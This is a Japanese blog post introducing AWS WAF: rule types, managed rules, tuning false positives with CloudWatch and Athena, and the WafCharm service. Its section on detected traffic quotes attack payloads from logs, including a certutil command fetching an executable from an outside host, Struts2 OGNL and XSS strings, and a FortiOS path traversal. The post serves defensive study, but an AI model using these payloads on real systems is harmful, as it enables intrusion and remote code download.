AWS再入門2019 AWS WAF編

AWS再入門2019AWS WAF編ということで、AWS WAFの知見を共有したいと思います。主なトピックは以下の通りです。

  • WAF全般のこと
  • AWS WAFの基本
  • AWS WAFマネージドルール
  • WafCharm

WAF全般のこと

WAFに期待される主な働きは、悪意のある通信をブロックし、悪意のない通信を許可することです。実際に可能な動作は、通信がWAFを通過する時にルールに一致する場合はブロックまたは許可するものです。ブロックまたは許可したい通信とWAFのルールが一致するとは限りません。WAFを導入していても、悪意のある通信が通過する可能性はありますし、正しいユーザーの通信を遮断してしまうこともあります。また、悪意のある通信と正しいユーザーの通信の判別が難しいこともあります。

AWS WAFの基本

AWS WAFはALB、CloudFront、API Gatewayに割り当てて利用します。EC2には直接適用できません。リソースにWebACLを割り当てたら、WebACLにルールを登録します。ルールには番号があり小さい順番に評価され、一致した時点でそのルールが適用されます。不審な通信をルールでブロックし、ルールに一致しない通信は許可することが多いです。以下のようなイメージになります。

  • ルール番号:1→ブロック
  • ルール番号:2→ブロック
  • ルール番号:3→ブロック
  • ルール番号:4→ブロック
  • デフォルト→許可

AWS WAFの素晴らしいところ

まず価格が圧倒的に安い点が良いです。リクエスト課金を考慮する必要はありますが、最低月6ドルから利用できます。AWS全般に言えることですが、ライセンス調達が不要ですぐに始めてすぐにやめられます。SaaSとしての各種メリットもあります。WAFの中にはEC2として動くバーチャルアプライアンス型がありますが、バーチャルアプライアンスは再起動を伴うファームウェアアップデートが必要だったり、冗長構成やEC2のスケーリングや費用の考慮が必要です。SaaSとして動くAWS WAFはこれらの考慮が不要です。見方にもよりますが、設定が比較的簡単な点もメリットと言えます。

参考：AWS WAF の料金

AWS WAFの制限

前述の通り、ALB、CloudFront、API Gatewayに割り当てて利用する形になります。WebACLに作成できるルール数は10までになります。大規模な環境ではルール数が足りなくなる恐れがあります。WAFのログは残せますが、ログにはPOSTリクエストボディが残りません。POSTがわからないことで、ログ調査が難しくなる可能性があります。AWS WAFでブロックすると、403の素っ気ないエラー画面が表示されます。ユーザーが用意したカスタムエラーページを表示するには、CloudFrontが必要です。後述しますが、高価なWAF製品と比べると、機能に不足があります。

参考：AWS WAFのブロック時にカスタムエラーページを表示する

AWS WAFで作れるルール

AWS WAFで作成できるルールは4種類に分けられます。

  • IP制限
  • レートベース
  • 特定の脆弱性に関するルール
  • 悪意のあるhttpリクエストかを確認するルール

IP制限

IP制限には、管理系ページへのアクセス制限とブラックリストの2種類があります。管理系ページへのアクセス制限では、「http://example.jp/admin以下」はオフィスからのみアクセスできるようにし、管理ページ以外の「http://example.jp/」などはどこからでも接続を許可するといったユースケースがあります。ブラックリストでは、IPアドレスのブラックリストを用意し、一致する場合に通信を遮断します。ブラックリストは、以下のようにして作成します。

レートベースのルール

同一IPアドレスからの接続数を制限できます。仮に閾値を100に設定したら、直前の5分間で100件を超えるリクエストのあったIPアドレスを自動的にブラックリストに登録し、一定時間遮断します。一定時間経過すると、ブラックリストから外します。ログインページのように特定ページにのみルールを適用するといったことも可能です。

参考：AWS WAFのレートベース制限で管理者ページへの接続を制限する

特定の脆弱性に関するルール

XSSやSQLインジェクションなど、WEBアプリケーションの脆弱性に関するルールを作成できます。

悪意のあるhttpリクエストかを確認するルール

サイズ制約条件を使えば、httpリクエストの各要素の長さを判定できます。閾値を超える場合は、悪意のある通信と判断しブロックします。正規表現一致条件を使えば、攻撃と思われる文字列が含まれていないかを確認できます。

（参考情報）Barracuda Web Application Firewallの場合は?

AWS WAFが機能面として不足していると感じる点について、Barracuda WAFが作成できるルールを紹介します。Barracudaでは、Cookie最大数やアップロードファイル最大数などを直接ルールで指定できます。AWS WAFはAWS WAFはサイズ長と文字列一致が基本であり、BarracudaのようにCookie最大数などを直接は指定できません。文字列一致条件で同様な設定ができるかもしれませんが、ルール数が10までのことも考えると、複雑なルールの作成は難しいでしょう。詳細な設定を行う場合や、24時間365日の監視をセキュリティオペレーションセンターで行うような規模の場合は、Barracuda WAFのようなパートナー製品を検討します。

参考：Barracuda Web Application Firewall

AWS WAFルールの種類

AWS WAFには、ユーザー定義ルールとマネージドルールがあります。

ユーザー定義ルールで使える条件

ユーザー定義ルールでは、条件（Condition）を組み合わせてルールを作成します。脆弱性に関する条件としては、クロスサイトスクリプト一致条件、SQLインジェクション一致条件を利用できます。IPアドレスに関する条件としては、IP一致条件とGeo (Geographic) 一致条件を利用できます。IP一致条件で、ブラックリストやホワイトリストを作成します。Geo一致条件では、日本国内のIPアドレスからのみ許可するといったことが可能です。サイズ長に関する条件としては、サイズ制約条件があります。HTTPリクエストの要素のサイズを条件にします。文字列一致に関する条件としては、文字列一致条件と正規表現一致条件があります。特定のUser-Agentをブロックしたり、IP一致条件と組み合わせて管理ページのURIへの接続を遮断できます。

ユーザー定義ルールの作成方法

ユーザー定義ルールを作成する方法として、主に3つの方法があります。1つ目に自分で条件を組み合わせて作成する方法です。IP制限やレートベース制限ぐらいであれば、比較的簡単に作成できます。2つ目にAWS WAF Security AutomationsなどのCloudFormationテンプレートを使う方法です。ルールをユーザーが1から考えなくてもいい点がメリットです。最後にWafCharmで生成する方法があります。詳しくは後述します。

マネージドルール

マネージドルールはセキュリティベンダーが提供するAWS WAFのルールです。AWS Marketplaceで提供されます。新しい脆弱性が発見された際などに、マネージドルールにルールが自動的に追加されます。マネージドルールには、個々のルールを例外に登録できます。例外に登録されたルールはマネージドルール全体のアクションがブロックでも、カウントとして動作します。検知モードで導入し、ログを確認の上、誤検知があったら個々のルールを例外登録していくのが基本的な使い方になります。マネージドルールの導入と運用ステップを記載します。

  1. AWS Marketplaceで購入
  2. Web ACLにカウントモードで適用
  3. CloudWatchメトリクスで概要を掴む
  4. Athenaでログから、カウントしたログを抽出
  5. ルールIDごとに例外に追加する
  6. どこかのタイミングでブロックにする
  7. （定期的に行う）3,4,5を実行する

ユーザー定義ルールと比較すると、マネージドルールはブラックボックスと言えます。マネージドルールに具体的にどのようなルールがあるのかはユーザーは確認できません。このデメリットは後述のWafCharmで軽減できます。

ステップ1:AWS Marketplaceで購入

AWS Marketplaceでルールを購入します。日本語サポートが必要かと、システムのユースケースに合うかどうかでルールを選ぶといいでしょう。日本語サポートが必要な場合、CSC社のルールが良いでしょう。ユースケースについてですが、API Gateway用のルール、Bot保護ルールなどWAF導入の目的に沿ったルールを選びます。CSC社のルールはOWASP Top 10 Threatsリストを意識して作られているため、Webサーバーに幅広く利用できるかと思います。

ステップ2:Web ACLにカウントモードで適用

Actionを“Override to count”（カウントモード）にして、導入します。最初からブロックにすると、正しいユーザーの通信を遮断してしまう可能性があります。

AWS WAFのログ出力は有効にしておきましょう。

参考：ウェブ ACL トラフィック情報のログ記録

3.CloudWatchメトリクスで概要を掴む

CloudWatchのメトリクスで、検知数をグラフで確認できます。仮に、一部の関係者しかアクセスしない開発環境で多数検知する場合は、例外登録が足りない恐れがあります。

4.Athenaでログから、カウントしたログを抽出

S3に配置されたログをそのまま人が見るのは厳しいため、Athenaを使います。AthenaはS3のファイルに対して、SQLを実行できます。以下のブログのようにテーブルを作成し、COUNTのログを抽出します。

参考：AWS WAFのフルログをAthenaで分析できるようにしてみた

Atenaで抽出したログは以下のように確認できます。

AWS WAFログに残る情報

ログの各項目については、ウェブ ACL トラフィック情報のログ記録をご覧ください。timestamp、terminatingRuleId、actionなどが残ります。特に注視すべきポイントは4つです。「ruleGropList＞terminatingRule＞ruleId」はマネージドルール内のルールIDです。このIDを例外設定します。「ruleGropList＞excludedrules＞ruleid」は例外登録され、カウントで動作しているルールIDです。「httprequest＞clientip、country」も重要です。関係者のIPアドレスは例外登録候補になります。日本国内向けのサービスの場合、JPは例外登録候補になります。GeoIPは100%正確なものではありませんが、参考にできます。悪意のある通信かどうかは「httprequest＞headers」で判断します。

5.ルールIDごとに例外に追加する

AWSコンソールからルールIDを指定して、例外登録します。

例外登録されたルールはログ中のexcludedrulesにruleidなどが残ります。例外登録されていないと、excludedrules=nullになります。ルールIDを例外した理由は、社内ドキュメントなどに記録しておきましょう。後から理由を確認したくなるかもしれません。例えば、「管理者ページでユーザーを追加する操作を行ったところ、ブロックされたため12/1に例外登録した」と言った形です。

例外登録の判断

ルールIDは検証した範囲では、Web ACLが異なっても共通でした。よって、開発環境の例外登録は本番にも反映すると良いでしょう。開発環境にIP制限を行なっている場合、システムに接続するのは社内の関係者や開発会社になるでしょう。それらのユーザーは基本的に悪意のある通信はしないはずです。開発環境で検知したら、例外登録しつつ、同じルールIDを本番環境にも例外登録します。

ここからは、マネージドルールで実際に検知した通信を紹介します。

Trend Microのルールで検知した通信

Trend Micro Managed Rules for AWS WAF - WebServer (Apache, Nginx)で検知した通信の一部を紹介します。ログはhttprequest＞headersの内容を記載します。

Apache Struts2の脆弱性を狙ったと思われる攻撃

Apache Struts2を使っていないのにも関わらず、Content-Typeのvalueに「@org.apache.struts2.ServletActionContext」などがあります。

1
{name=Content-Type, value=中略.(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).中略], uri=/, args=, httpmethod=GET, requestid=null}
明らかに攻撃と思われる通信

Content-Typeに「cmd='cmd.exe /c certutil.exe -urlcache -split -f http://example.jp/download.exe」と言った内容が記録されていました。certutil.exeを悪用して、不正なファイルを外部からダウンロードさせようとしていると推察されます。

1
{name=Content-Type, value=中略.(#cmd='cmd.exe /c certutil.exe -urlcache -split -f http://example.jp/download.exe 中略, args=, httpmethod=GET, requestid=null}
Tomcatの脆弱性をついたと思われる攻撃

「uri=/FxCodeShell.jsp::$DATA」とありますが、こちらはTomcatの脆弱性をついた攻撃のようです。

1
uri=/FxCodeShell.jsp::$DATA, args=, httpmethod=PUT, requestid=null}

F5のルールで検知した通信

F5 Rules for AWS WAF - Web exploits OWASP Rulesで検知した通信の一部を紹介します。ログはhttprequest＞headersの内容を記載します。

クロスサイトスクリプティング（XSS）

簡易的なクロスサイトスクリプティング（XSS）を多数検知しました。

1
args=xss=<script>alert(1)</script>
1
uri=/%3Cscript%3Ealert%281%29%3C/script%3E.html
FotriOSの脆弱性を狙ったと思われる攻撃

argsが明らかに不審ですが、Google検索するとFotriOSの脆弱性を狙った攻撃のようです。

1
args=lang=/../../../..//////////dev/cmdb/sslvpn_websession
WordPressのCherryプラグインを狙ったと思われる攻撃

Cherryプラグインを使っていないのにも関わらず、アクセスがありました。同プラグインを悪用されると攻撃者がサーバーに直接ファイルをアップロードできるようです。

1
/wp-content/plugins/cherry-plugin/admin/import-export/upload.php

参考：06/19/17: WordPress (CMS) Cherry-Plugin Arbitrary File Upload RCE

vBulletinを狙ったと思われる攻撃

vBulletinを狙ったと思われる攻撃がありました。同ソフトウェアは利用していません。

1
routestring=ajax/render/widget_php

参考：【注意喚起】フォーラム構築ソフト「vBulletin」の深刻な脆弱性(CVE-2019-16759)で攻撃通信の急増確認

6.どこかのタイミングでブロックにする

検知だけでは保護できないため、どこかのタイミングでブロックにできないか検討します。マネージドルールのアップデートにより、検知状況に変化がある可能性があるので、検知状況、ログの確認、例外登録は定期的に実行します。

AWS WAFログからわかったこと

国とheadersで判断する

私がAWS WAFログを見てわかった知見を共有します。検知したほとんどの通信はJP（日本）以外から発生していました。海外からのユーザーも多いサービスでは難しいかと思いますが、「httprequest＞country」は参考にできました。また、検知したログのうち、「httprequest＞headers」を見れば、悪意の香りがプンプンする通信が大半でした。怪しいhttprequest＞headersの内容をGoogle検索すると、脆弱性情報が表示されることが多いです。

例外登録するかしないか困るログ

httprequest＞headersに不審な点がないと例外登録するか悩みます。IPアドレスが関係者のものであれば、例外登録しても良いかもしれません。

対応に困るログ

対応に困るログとしては、httprequest＞headersに不審な点がないかつIPアドレスが関係者以外の”JP”の場合でしょう。今のところ、私は遭遇したことはありません。もう一点困るログとしては、1つのルールIDで正しいブロックと誤検知が発生しているケースです。例外に登録すれば、ブロックができなくなりますし、ブロック設定では正しい通信を遮断してしまいます。大半のシステムでは、ユーザーの正しい通信を遮断するわけにはいかないので、例外登録することになるでしょう。

チューニングが進んでいない時点でのAthenaでカウントログの集計

マネージドルールで誤検知が発生した際にとれる主な対応は、ルールIDごとに例外するというものです。そのため、ルールIDごとに検知状況を集計すると例外するかの判断に役立てられます。あくまで一例ですが、マネージドルール導入直後は以下のように勧めると例外設定が進むかもしれません。

  • ルールIDごとに検知状況を集計
    • 関係者のIPが含まれるルールIDは例外候補
    • JPが含まれるルールIDは例外候補
    • JP以外は例外登録してはいけない可能性あり
    • ユーザーエージェントがpythonのような通常のユーザーでなければ、ブロックして問題ない可能性がある
  • 最終的な判断は、httprequest＞headersを確認

WafCharm

WafCharm（ワフチャーム）はWebサイトに対する攻撃をAIで学習することにより最適なAWS WAFルールを自動運用するサービスです。CSC社が提供しています。WafCharmの主な機能は以下の通りです。

  • ユーザー定義ルールの自動作成
  • CSC社のIPレピュテーションの適用
  • 月次レポートの作成
  • 検知時にメール通知
  • CSC社のマネージドルールの管理

機能ではありませんが、ルールについてCSC社への相談も可能です。

ユーザー定義ルールの自動作成

WafCharmはユーザー定義ルールを自動的に作成します。マネージドルールはルール内に具体的にどのようなルールがあるのかはユーザーは確認できません。ユーザー定義ルールの場合は、AWSコンソールからルールの内容を確認できます。WafCharmで作成されたルールの一例を紹介します。URIに/.htaccessなどが含まれているかを確認しています。

CSC社のIPレピュテーションの適用

ブラックリストは、CSC社のIPレピュテーションなどから作成されます。既知の悪意のあるIPアドレスは遮断されるので、安心感がありますね。

WafCharmが提供しているBlacklist機能とはなんですか？

主に3つのBlacklist機能があります。

・アクセスログを数百ものシグネチャに再マッチング処理をしており、都度Blacklist登録する機能（1時間毎）

・CSC独自のIPレピュテーションによるBlacklist機能（1日毎）

・WafCharm管理画面より、お客様自身でIPアドレスを登録するBlacklist機能（設定後、5~10分程度で反映）

引用元：WAFCharm FAQ

月次レポートの作成

前月になりますが、検知状況を月次レポートで確認できます。レポートの雰囲気はCSC社のブログを参考にしてください。

検知時にメール通知

メールの送信元は「wafcharm-notification@cscloud.co.jp」で、以下のような形で届きます。WebACL名、ルール名、IPアドレス、国、URIを確認できます。ユーザーの正しい通信をブロックした場合に素早く気づけます。以下は土日に放っておいたWebサーバーにphpMyAdminのsetup.phpに接続がきて、遮断された際に通知されたメールです。個人にこのメール通知機能はアツいです！

CSC社のマネージドルールの管理

ユーザー定義ルールと比較すると、マネージドルールはブラックボックスと言えますが、WafCharmを使うとCSC社のマネージドルールに透明性を持たせることができます。WafCharmのコンソールから、マネージドルール内のルールの名前を確認したり、アクションを変更できます。bad-useragetでは、悪意のあるユーザーエージェントを遮断していることが推察できます。

まとめ

AWS再入門2019AWS WAF編ということで、AWS WAFの知見を共有しました。WAFを使うと、ご紹介したような悪意のある通信をブロックできます。一方で誤検知が発生したり、ルールの例外登録や変更といった運用が必要なります。マネージドルールをご利用の場合は、ご紹介した方法を参考にしつつ例外登録を進めていただければと思います。WafCharmについてもご紹介しました。メール通知、レポート作成、CSC社への相談などが可能です。AWS WAFを単体で使うより、運用負荷を下げられるためご検討ください。

PRもっと安く使いたい